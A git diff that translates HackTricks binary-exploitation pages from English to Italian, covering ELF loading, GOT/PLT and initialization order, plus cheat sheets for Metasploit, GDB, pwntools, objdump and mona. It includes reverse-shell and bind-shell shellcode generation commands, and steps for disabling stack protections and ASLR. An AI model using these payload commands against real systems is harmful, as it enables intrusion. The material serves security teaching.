``` readelf -d lnstat Dynamic section at offset 0xfc58 contains 28 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] - 0x000000000000000c (INIT) 0x1088 - 0x000000000000000d (FINI) 0x2f74 - 0x0000000000000019 (INIT_ARRAY) 0x1fc48 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x1fc50 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x338 - 0x0000000000000005 (STRTAB) 0x7f0 - 0x0000000000000006 (SYMTAB) 0x358 - 0x000000000000000a (STRSZ) 510 (bytes) - 0x000000000000000b (SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x1fe58 - 0x0000000000000002 (PLTRELSZ) 960 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0xcc8 - 0x0000000000000007 (RELA) 0xaa0 - 0x0000000000000008 (RELASZ) 552 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000000000001e (FLAGS) BIND_NOW - 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE - 0x000000006ffffffe (VERNEED) 0xa50 - 0x000000006fffffff (VERNEEDNUM) 2 - 0x000000006ffffff0 (VERSYM) 0x9ee - 0x000000006ffffff9 (RELACOUNT) 15 - 0x0000000000000000 (NULL) 0x0 +Tag Type Name/Value +0x0000000000000001 (NEEDED) Shared library: [libc.so.6] +0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] +0x000000000000000c (INIT) 0x1088 +0x000000000000000d (FINI) 0x2f74 +0x0000000000000019 (INIT_ARRAY) 0x1fc48 +0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) +0x000000000000001a (FINI_ARRAY) 0x1fc50 +0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) +0x000000006ffffef5 (GNU_HASH) 0x338 +0x0000000000000005 (STRTAB) 0x7f0 +0x0000000000000006 (SYMTAB) 0x358 +0x000000000000000a (STRSZ) 510 (bytes) +0x000000000000000b (SYMENT) 24 (bytes) +0x0000000000000015 (DEBUG) 0x0 +0x0000000000000003 (PLTGOT) 0x1fe58 +0x0000000000000002 (PLTRELSZ) 960 (bytes) +0x0000000000000014 (PLTREL) RELA +0x0000000000000017 (JMPREL) 0xcc8 +0x0000000000000007 (RELA) 0xaa0 +0x0000000000000008 (RELASZ) 552 (bytes) +0x0000000000000009 (RELAENT) 24 (bytes) +0x000000000000001e (FLAGS) BIND_NOW +0x000000006ffffffb (FLAGS_1) Flags: NOW PIE +0x000000006ffffffe (VERNEED) 0xa50 +0x000000006fffffff (VERNEEDNUM) 2 +0x000000006ffffff0 (VERSYM) 0x9ee +0x000000006ffffff9 (RELACOUNT) 15 +0x0000000000000000 (NULL) 0x0 ``` - -The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. +La directory NEEDED indica che il programma **deve caricare la libreria menzionata** per continuare. La directory NEEDED si completa una volta che la **libreria condivisa è completamente operativa e pronta** per l'uso. ## Relocations -The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ. - +Il loader deve anche rilocare le dipendenze dopo averle caricate. Queste rilocazioni sono indicate nella tabella di rilocazione nei formati REL o RELA e il numero di rilocazioni è fornito nelle sezioni dinamiche RELSZ o RELASZ. ``` readelf -r lnstat Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fff0 000000000403 R_AARCH64_RELATIV 1340 @@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 @@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` - ### Static Relocations -If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. +Se il **programma è caricato in un luogo diverso** dall'indirizzo preferito (di solito 0x400000) perché l'indirizzo è già utilizzato o a causa di **ASLR** o per qualsiasi altro motivo, una relocazione statica **corregge i puntatori** che avevano valori che si aspettavano che il binario fosse caricato nell'indirizzo preferito. -For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. +Ad esempio, qualsiasi sezione di tipo `R_AARCH64_RELATIV` dovrebbe avere modificato l'indirizzo al bias di relocazione più il valore addend. ### Dynamic Relocations and GOT -The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. +La relocazione potrebbe anche fare riferimento a un simbolo esterno (come una funzione da una dipendenza). Come la funzione malloc da libC. Quindi, il loader quando carica libC in un indirizzo controllando dove è caricata la funzione malloc, scriverà questo indirizzo nella tabella GOT (Global Offset Table) (indicato nella tabella di relocazione) dove dovrebbe essere specificato l'indirizzo di malloc. ### Procedure Linkage Table -The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. +La sezione PLT consente di eseguire il lazy binding, il che significa che la risoluzione della posizione di una funzione verrà eseguita la prima volta che viene accesso. -So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. +Quindi, quando un programma chiama malloc, in realtà chiama la posizione corrispondente di `malloc` nel PLT (`malloc@plt`). La prima volta che viene chiamato risolve l'indirizzo di `malloc` e lo memorizza, quindi la prossima volta che viene chiamato `malloc`, quell'indirizzo viene utilizzato invece del codice PLT. ## Program Initialization -After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in: - +Dopo che il programma è stato caricato, è tempo che venga eseguito. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che main venga eseguito, come in: ```cpp #include // g++ autoinit.cpp -o autoinit class AutoInit { - public: - AutoInit() { - printf("Hello AutoInit!\n"); - } - ~AutoInit() { - printf("Goodbye AutoInit!\n"); - } +public: +AutoInit() { +printf("Hello AutoInit!\n"); +} +~AutoInit() { +printf("Goodbye AutoInit!\n"); +} }; AutoInit autoInit; int main() { - printf("Main\n"); - return 0; +printf("Main\n"); +return 0; } ``` +Nota che queste variabili globali si trovano in `.data` o `.bss`, ma nelle liste `__CTOR_LIST__` e `__DTOR_LIST__` gli oggetti da inizializzare e distruggere sono memorizzati per tenerne traccia. -Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. - -From C code it's possible to obtain the same result using the GNU extensions : - +Dal codice C è possibile ottenere lo stesso risultato utilizzando le estensioni GNU: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` +Dal punto di vista di un compilatore, per eseguire queste azioni prima e dopo l'esecuzione della funzione `main`, è possibile creare una funzione `init` e una funzione `fini` che sarebbero referenziate nella sezione dinamica come **`INIT`** e **`FIN`**. e sono collocate nelle sezioni `init` e `fini` dell'ELF. -From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. +L'altra opzione, come menzionato, è riferirsi alle liste **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nelle voci **`INIT_ARRAY`** e **`FINI_ARRAY`** nella sezione dinamica e la lunghezza di queste è indicata da **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Ogni voce è un puntatore a funzione che verrà chiamato senza argomenti. -The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. +Inoltre, è anche possibile avere un **`PREINIT_ARRAY`** con **puntatori** che verranno eseguiti **prima** dei puntatori **`INIT_ARRAY`**. -Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +### Ordine di Inizializzazione -### Initialization Order +1. Il programma viene caricato in memoria, le variabili globali statiche vengono inizializzate in **`.data`** e quelle non inizializzate vengono azzerate in **`.bss`**. +2. Tutte le **dipendenze** per il programma o le librerie vengono **inizializzate** e il **collegamento dinamico** viene eseguito. +3. Le funzioni **`PREINIT_ARRAY`** vengono eseguite. +4. Le funzioni **`INIT_ARRAY`** vengono eseguite. +5. Se c'è una voce **`INIT`**, viene chiamata. +6. Se è una libreria, dlopen termina qui, se è un programma, è il momento di chiamare il **vero punto di ingresso** (funzione `main`). -1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. -2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed. -3. **`PREINIT_ARRAY`** functions are executed. -4. **`INIT_ARRAY`** functions are executed. -5. If there is a **`INIT`** entry it's called. -6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function). +## Memoria Locale per Thread (TLS) -## Thread-Local Storage (TLS) +Sono definiti utilizzando la parola chiave **`__thread_local`** in C++ o l'estensione GNU **`__thread`**. -They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. +Ogni thread manterrà una posizione unica per questa variabile, quindi solo il thread può accedere alla sua variabile. -Each thread will maintain a unique location for this variable so only the thread can access its variable. +Quando questo viene utilizzato, le sezioni **`.tdata`** e **`.tbss`** vengono utilizzate nell'ELF. Che sono simili a `.data` (inizializzato) e `.bss` (non inizializzato) ma per TLS. -When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. +Ogni variabile avrà un'entrata nell'intestazione TLS che specifica la dimensione e l'offset TLS, che è l'offset che utilizzerà nell'area di dati locale del thread. -Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. - -The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. +Il `__TLS_MODULE_BASE` è un simbolo utilizzato per riferirsi all'indirizzo base della memoria locale per thread e punta all'area in memoria che contiene tutti i dati locali per thread di un modulo. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 70aa57cc5..683fa6a04 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# Strumenti di Sfruttamento {{#include ../../../banners/hacktricks-training.md}} ## Metasploit - ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ### Shellcodes - ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### Installa ```bash apt-get install gdb ``` - -### Parameters - +### Parametri ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### Istruzioni ```bash run # Execute start # Start and break in main @@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) -You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. - +Puoi utilizzare opzionalmente [**questo fork di GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) che contiene istruzioni più interessanti. ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB stessi indirizzi -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli utilizzati dal binario quando eseguito.** Puoi far sì che GDB abbia gli stessi indirizzi facendo: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _Inserisci il percorso assoluto del binario_ +- Sfrutta il binario utilizzando la stessa rotta assoluta +- `PWD` e `OLDPWD` devono essere gli stessi quando si utilizza GDB e quando si sfrutta il binario -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### Backtrace per trovare le funzioni chiamate +Quando hai un **binario collegato staticamente**, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere input all'utente.**\ +Puoi facilmente identificare questo flusso **eseguendo** il binario con **gdb** fino a quando ti viene chiesto di inserire un input. Poi, fermalo con **CTRL+C** e usa il comando **`bt`** (**backtrace**) per vedere le funzioni chiamate: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -154,87 +141,80 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` - ### GDB server -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (in IDA devi riempire il percorso assoluto dell'eseguibile nella macchina Linux e nella macchina Windows) ## Ghidra -### Find stack offset +### Trova offset dello stack -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** è molto utile per trovare l'**offset** per un **buffer overflow grazie alle informazioni sulla posizione delle variabili locali.**\ +Ad esempio, nell'esempio qui sotto, un buffer flow in `local_bc` indica che hai bisogno di un offset di `0xbc`. Inoltre, se `local_10` è un canary cookie, indica che per sovrascriverlo da `local_bc` c'è un offset di `0xac`.\ +&#xNAN;_Remember che i primi 0x08 da dove viene salvato il RIP appartengono al RBP._ ![](<../../../images/image (1061).png>) ## qtool - ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` - -Get every opcode executed in the program. +Ottieni ogni opcode eseguito nel programma. ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compila senza protezioni\ &#xNAN;**-o** --> Output\ -&#xNAN;**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +&#xNAN;**-g** --> Salva il codice (GDB sarà in grado di vederlo)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Per disattivare l'ASLR in linux -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Per compilare uno shellcode:**\ +**nasm -f elf assembly.asm** --> restituisce un ".o"\ +**ld assembly.o -o shellcodeout** --> Eseguibile ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -&#xNAN;**-Mintel** --> **Intel** syntax\ -&#xNAN;**-t** --> **Symbols** table\ -&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ -&#xNAN;**-s -j .dtors** --> dtors section\ -&#xNAN;**-s -j .got** --> got section\ --D -s -j .plt --> **plt** section **decompiled**\ -&#xNAN;**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Disassembla** le sezioni eseguibili (vedi opcodes di uno shellcode compilato, trova ROP Gadgets, trova indirizzo della funzione...)\ +&#xNAN;**-Mintel** --> **Sintassi** Intel\ +&#xNAN;**-t** --> Tabella dei **Simboli**\ +&#xNAN;**-D** --> **Disassembla tutto** (indirizzo di variabile statica)\ +&#xNAN;**-s -j .dtors** --> sezione dtors\ +&#xNAN;**-s -j .got** --> sezione got\ +-D -s -j .plt --> sezione **plt** **decompilata**\ +&#xNAN;**-TR** --> **Ridenominazioni**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Indirizzo di "puts" da modificare in GOT\ +**objdump -D ./exec | grep "VAR_NAME"** --> Indirizzo di una variabile statica (queste sono memorizzate nella sezione DATA). ## Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Esegui `ulimit -c unlimited` prima di avviare il mio programma +2. Esegui `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet ## More -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Indirizzo (se ASLR, allora questo cambia ogni volta)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Ciclo per vedere se l'indirizzo cambia molto\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset di "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset di "/bin/sh" -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Funzioni chiamate dall'eseguibile\ +**rabin2 -i ejecutable -->** Indirizzo di tutte le funzioni ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA ### Debugging in remote linux -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary: - +All'interno della cartella IDA puoi trovare binari che possono essere utilizzati per eseguire il debug di un binario all'interno di un linux. Per farlo, sposta il binario `linux_server` o `linux_server64` all'interno del server linux ed eseguilo nella cartella che contiene il binario: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Quindi, configura il debugger: Debugger (linux remoto) --> Opzioni di processo...: ![](<../../../images/image (858).png>) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 6175aeaa2..90a5bc783 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -1,120 +1,100 @@ # PwnTools {{#include ../../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - ## Pwn asm -Get **opcodes** from line or file. - +Ottieni **opcodes** da una riga o da un file. ``` pwn asm "jmp esp" pwn asm -i ``` +**Può selezionare:** -**Can select:** +- tipo di output (raw,hex,string,elf) +- contesto del file di output (16,32,64,linux,windows...) +- evitare byte (nuove righe, null, un elenco) +- selezionare l'encoder debug shellcode utilizzando gdb eseguire l'output -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output - -## **Pwn checksec** - -Checksec script +## **Controllo Pwn** +Script checksec ``` pwn checksec ``` - ## Pwn constgrep ## Pwn cyclic -Get a pattern - +Ottieni un modello ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Può selezionare:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- L'alfabeto utilizzato (caratteri minuscoli per impostazione predefinita) +- Lunghezza del modello unico (impostazione predefinita 4) +- contesto (16,32,64,linux,windows...) +- Prendere l'offset (-l) ## Pwn debug -Attach GDB to a process - +Collegare GDB a un processo ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Può selezionare:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- Per eseguibile, per nome o per contesto pid (16,32,64,linux,windows...) +- gdbscript da eseguire - sysrootpath -## Pwn disablenx - -Disable nx of a binary +## Disabilita pwn nx +Disabilita nx di un binario ``` pwn disablenx ``` - ## Pwn disasm -Disas hex opcodes - +Disas opcode esadecimali ``` pwn disasm ffe4 ``` +**Può selezionare:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- contesto (16,32,64,linux,windows...) +- indirizzo base +- colore(predefinito)/nessun colore ## Pwn elfdiff -Print differences between 2 files - +Stampa le differenze tra 2 file ``` pwn elfdiff ``` - ## Pwn hex -Get hexadecimal representation - +Ottieni la rappresentazione esadecimale ```bash pwn hex hola #Get hex of "hola" ascii ``` - ## Pwn phd -Get hexdump - +Ottieni hexdump ``` pwn phd ``` +**Può selezionare:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- Numero di byte da mostrare +- Numero di byte per evidenziare il byte per riga +- Salta byte all'inizio ## Pwn pwnstrip @@ -122,8 +102,7 @@ pwn phd ## Pwn shellcraft -Get shellcodes - +Ottieni shellcode ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Può selezionare:** -**Can select:** +- shellcode e argomenti per lo shellcode +- File di output +- formato di output +- debug (collega dbg allo shellcode) +- prima (trap di debug prima del codice) +- dopo +- evita di usare opcodes (predefinito: non nullo e nuova riga) +- Esegui lo shellcode +- Colore/senza colore +- elenca le syscalls +- elenca i possibili shellcodes +- Genera ELF come libreria condivisa -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -## Pwn template - -Get a python template +## Modello Pwn +Ottieni un modello python ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Può selezionare:** host, port, user, pass, path e quiet ## Pwn unhex -From hex to string - +Da esadecimale a stringa ``` pwn unhex 686f6c61 ``` +## Aggiornamento di Pwn -## Pwn update - -To update pwntools - +Per aggiornare pwntools ``` pwn update ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md index 47681ba71..42a9fae53 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,35 +1,29 @@ -# Common Binary Exploitation Protections & Bypasses +# Protezioni e Bypass Comuni per l'Exploitation Binaria {{#include ../../banners/hacktricks-training.md}} -## Enable Core files +## Abilitare i file Core -**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. +I **file Core** sono un tipo di file generato da un sistema operativo quando un processo si arresta in modo anomalo. Questi file catturano l'immagine della memoria del processo arrestato al momento della sua terminazione, inclusi la memoria del processo, i registri e lo stato del contatore del programma, tra i vari dettagli. Questo snapshot può essere estremamente prezioso per il debug e per comprendere perché si è verificato l'arresto. -### **Enabling Core Dump Generation** +### **Abilitare la Generazione di Core Dump** -By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. - -- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions. +Per impostazione predefinita, molti sistemi limitano la dimensione dei file core a 0 (cioè, non generano file core) per risparmiare spazio su disco. Per abilitare la generazione di file core, puoi utilizzare il comando **`ulimit`** (in bash o shell simili) o configurare impostazioni a livello di sistema. +- **Utilizzando ulimit**: Il comando `ulimit -c unlimited` consente alla sessione della shell corrente di creare file core di dimensioni illimitate. Questo è utile per le sessioni di debug ma non è persistente tra i riavvii o le nuove sessioni. ```bash ulimit -c unlimited ``` - -- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions. - +- **Configurazione Persistente**: Per una soluzione più permanente, puoi modificare il file `/etc/security/limits.conf` per includere una riga come `* soft core unlimited`, che consente a tutti gli utenti di generare file di core di dimensioni illimitate senza dover impostare manualmente ulimit nelle loro sessioni. ```markdown - soft core unlimited ``` +### **Analizzare i file di core con GDB** -### **Analyzing Core Files with GDB** - -To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with: - +Per analizzare un file di core, puoi utilizzare strumenti di debug come GDB (il GNU Debugger). Supponendo di avere un eseguibile che ha prodotto un core dump e il file di core si chiama `core_file`, puoi iniziare l'analisi con: ```bash gdb /path/to/executable /path/to/core_file ``` - -This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash. +Questo comando carica l'eseguibile e il file di core in GDB, permettendoti di ispezionare lo stato del programma al momento del crash. Puoi utilizzare i comandi GDB per esplorare lo stack, esaminare le variabili e comprendere la causa del crash. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index e33c7a3be..a1115e474 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -2,107 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. +**Address Space Layout Randomization (ASLR)** è una tecnica di sicurezza utilizzata nei sistemi operativi per **randomizzare gli indirizzi di memoria** 